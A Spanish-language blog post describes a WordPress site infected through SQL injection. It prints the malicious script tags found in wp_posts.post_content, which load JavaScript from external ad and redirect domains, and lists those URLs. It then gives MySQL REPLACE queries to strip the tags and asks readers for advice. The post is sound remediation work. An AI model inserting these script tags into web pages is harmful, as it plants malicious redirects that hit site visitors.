SQL Injection: Borrando Javascript maliciosos injectados en la columna post_content

Recientemente estoy lidiando en un proyecto con un problema de SQL injection. A grandes rasgos el problema es que la web de la web afectada muestra una  contaminación repetida, con una columna post_content inyectada con un código Javascript malicioso (wp_posts -> post_content).

Los códigos son los siguientes:

<script type='text/javascript' src='//pl15180773.pvclouds.com/2b/e2/3d/2be23d024eff3a5446e06744968768be.js'></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script>
<script data-cfasync=\'false\' type=\'text/javascript\' src=\'//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2\'></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=2574011\" async data-cfasync=\"false\"></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=676630\" async data-cfasync=\"false\"></script>

Si todavía no sabes si tu web está infectada por este código el síntoma es que una vez la página se carga serás redirigido a otra web como las del siguiente ejemplo:

  • pl15180773.pvclouds.com/2b/e2/3d/2be23d024eff3a5446e06744968768be.js
  • p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2
  • dolohen.com/apu.php?zoneid=676630
  • dolohen.com/apu.php?zoneid=2574011
  • ellcurvth.com/afu.php?zoneid=
  • ellcurvth.com/afu.php?zoneid=2826294
  • humsoolt.net/pfe/current/tag.min.js?z=2774009

Todavía estoy trabajando en la solución para evitar que vuelva a suceder. Por lo pronto como workaround he optado por correr las siguientes queries en MySQL

UPDATE wp_posts
SET post_content = 
REPLACE( post_content, "<script type='text/javascript' src='//pl15180773.pvclouds.com/2b/e2/3d/2be23d024eff3a5446e06744968768be.js'></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script>", "");
UPDATE wp_posts
SET post_content = 
REPLACE( post_content, "<script data-cfasync=\'false\' type=\'text/javascript\' src=\'//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2\'></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=2574011\" async data-cfasync=\"false\"></script><script type=\"text/javascript\" src=\"//dolohen.com/apu.php?zoneid=676630\" async data-cfasync=\"false\"></script>", "")

Por supuesto no es la solución definitiva. Lo suyo ahora luego de limpiar el sitio es trabajar para evitar que esto vuelva a suceder. ¿Algún consejo?

Comparte esta entrada: